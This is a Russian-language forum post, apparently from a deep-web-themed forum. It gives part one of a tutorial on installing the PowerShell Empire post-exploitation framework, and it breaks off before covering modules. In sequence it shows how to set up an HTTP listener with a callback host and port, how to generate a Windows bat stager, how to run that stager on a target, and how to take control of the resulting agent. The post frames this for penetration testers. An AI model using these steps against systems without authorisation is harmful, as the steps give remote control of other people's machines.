✍️ Статья Установка и использование фреймворка PowerShell Empire. Часть 1

The 146X Project Dublikat Web Studio Avram Lincoln AL Service Navigator Knyaz

BlackPope

Команда форума
Модератор DeepWeb ✔️
PR-Group DeepWeb 🔷
Регистрация
27.04.2020
Сообщения
230
Многие слышали про Empire — инструмент постэксплуатации Windows, Linux и macOS. В статье я затрону все аспекты работы с ним, а также расскажу, какие именно функции фреймворка мы часто используем на практике. И даже если вы опытный пентестер или редтимер, я думаю, вы отметите для себя что-то новое и полезное.

Оригинальный проект PowerShell Empire уже давно не поддерживается, так что речь пойдет о его форке от BC-SECURITY. Этот форк продолжает развиваться и обновляться.

Установка Empire

Если вы используете Kali Linux, то для установки этого чудо-фреймворка потребуется выполнить всего лишь одну команду:

sudo apt install powershell-empire

Если на вашем компьютере другая операционная система, нужно скачать файлы проекта и установить их вручную.

git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh


Собственно, все: фреймворк Empire установлен в вашей системе.

Получение точки опоры

Перед тем как мы рассмотрим сам программный комплекс, давайте разберемся со следующими понятиями:

  • Listener — это локальный процесс, ожидающий бэкконнект с удаленного атакуемого хоста;
  • Stager — загрузчик Agent’a, то есть полезной нагрузки на удаленный атакуемый хост;
  • Agent — процесс (на удаленном атакуемом хосте), который соединяется с нашим Listener’ом;
  • Module — код, выполняемый Agent’ом для достижения определенных целей.
Запустим Empire командой powershell-empire. Вы увидите такое окно.

GoJwvy8PP8E.jpg

Начало работы PowerShell Empire

Для получения точки опоры используется следующий порядок действий: создание Listener’a -> создание Stager’a для этого Listener’a -> запуск нагрузки на удаленном хосте (создание Agent’a).

Listener

5xkQgsvkOdE.jpg

Интерфейс listeners
Для создания Listener’a нужно войти в соответствующий интерфейс командой listeners.

Сейчас у нас нет активных листенеров. Создать его можно командой uselistener, но давайте посмотрим, какие типы листенеров нам может предложить Empire.

uselistener <TAB>

Поясню, что здесь что:

  • dbx — Dropbox-листенер (хорош, чтобы уклоняться от обнаружения, но требует токен для Dropbox API);
  • http — обычный HTTP/HTTPS-листенер;
  • http_com — HTTP/HTTPS-листенер, использующий объект IE COM;
  • http_foreign — HTTP/HTTPS-листенер для сторонней нагрузки Empire;
  • http_hop — HTTP/HTTPS-листенер для перенаправления команд другому листенеру, что помогает скрыть исходный IP (требует параметр RedirectListener);
  • http_mapi — HTTP/HTTPS-листенер для использования с Liniaal, что позволит получить управление через Exchange-сервер;
  • meterpreter — HTTP/HTTPS-листенер для сторонней нагрузки Meterpreter;
  • onedrive — onedrive-листенер (требует регистрацию приложения https://apps.dev.microsoft.com)
  • redirector — инструмент для перехода от одного агента к другому.
С типами листенеров разобрались, а теперь давайте посмотрим, как с ними работать. Для начала выбираем тип (для примера возьмем самый простой — HTTP).

uselistener http

1cXAu_nUV1Q.jpg

Выбор типа листенера
a7nlhYqLXm0.jpg

Справка по выбранному листенеру PowerShell Empire
Получить справку по выбранному листенеру можно командой nfo.

Использованием прокси уже никого не удивишь, но мы можем назначить дату, когда листенер будет удален, а еще определенные часы работы (это очень удобно!). При использовании HTTPS нужно также указать путь к сертификату. Но теперь к основному: назначим имя листенера, адрес хоста для бэкконнекта и порт.

set Name l1
set Host http://192.168.6.1
set Port 4321


0Kf2VPSVD1E.jpg

Назначение основных параметров листенера empire

KJoueEk0VWU.jpg

Запуск листенера empire
И запустим листенер командой execute.


VfE6FLAaxIA.jpg

Список листенеров
Теперь в интерфейсе listeners мы наблюдаем только что запущенный листенер.

Переходим ко второй стадии.

Stager

E2DyYQSnbNA.jpg

Список типов stager’ов
Давайте по аналогии с листенером выберем тип stager’a (далее — нагрузки). Сделать это можно командой usestager.

Нагрузки есть для разных платформ: multi (кросс-платформенные), macOS и Windows. А еще существует несколько типов нагрузки:

  • bash — обычный Bash-скрипт;
  • launcher — так называемый one-liner-код на определенном скриптовом языке;
  • macro — макрос для офисных приложений;
  • pyinstaller — ELF-файл, собранный с помощью PyInstaller;
  • war — просто набор байтов для модернизации нагрузки;
  • applescript — файл AppleScript;
  • application — файл Application;
  • ducky — так называемый скрипт Rubber Ducky;
  • dylib — динамическая библиотека macOS;
  • jar — нагрузка в JAR-формате;
  • machomacOS — офисный макрос для macOS;
  • pkg — установщик PKG (должен быть скопирован в директорию /Applications);
  • safari_launcher — HTML-нагрузка;
  • shellcode — обычный Windows-шелл;
  • teensy — Teensy-скрипт;
  • backdoorLnkMacro — файл .lnk для загрузки и запуска приложения;
  • bunny — скрипт Bash bunny;
  • csharp_exe — приложение PowerShell/C#;
  • dll — нагрузка в виде DLL;
  • hta — HTA-нагрузка для IE;
  • macroless_msword — документ macroless;
  • wmic — XSL-нагрузка для wmic.exe (отсутствует в оригинальном Empire).
BW2DOOWd6WQ.jpg

Выбор типа нагрузки empire
Давайте выберем тип нагрузки. Возьмем, к примеру, bat-файл для Windows.

c37Lw9Mlzgo.jpg

Справка по выбранной нагрузке
Как и в случае с листенером, посмотрим параметры командой info.

Что нам предлагает Empire? Снова традиционная возможность настроить прокси, но вот встроенная функция обфускации (к сожалению, только для PowerShell-скриптов) — это вещь приятная. Мы можем указать, где сохранить итоговый файл, а также настроить удаление файла после запуска. Давайте укажем листенер и путь к итоговому файлу, после чего создадим stager.

set Listener l1
set OutFile /home/ralf/tmp/l1.bat
execute


wWUm1LuUMI0.jpg

Создание нагрузки
Файл с нагрузкой создан по указанному пути.


Agent

8VXKpNYWra8.jpg

Подключились и создали агента
Нам нужно выполнить bat-файл на целевом хосте. Вы увидите сообщение о подключении.

cZOgfAsyRn8.jpg

Список агентов
Перейдем в главное меню и выполним команду agents, чтобы увидеть все агенты.

Для удобства можно переименовать агент командой rename и перейти в интерфейс управления агентом (команда interact).

rename LVKP4HN3 al1
interact al1


lwP2hxWUHV4.jpg

Список агентов
Мы в системе, теперь пройдемся по самым интересным модулям, которые реально находят применение и используются нашей командой на практике.

Продолжение следует...
 

📌 Золотая реклама

AnonPaste

Верх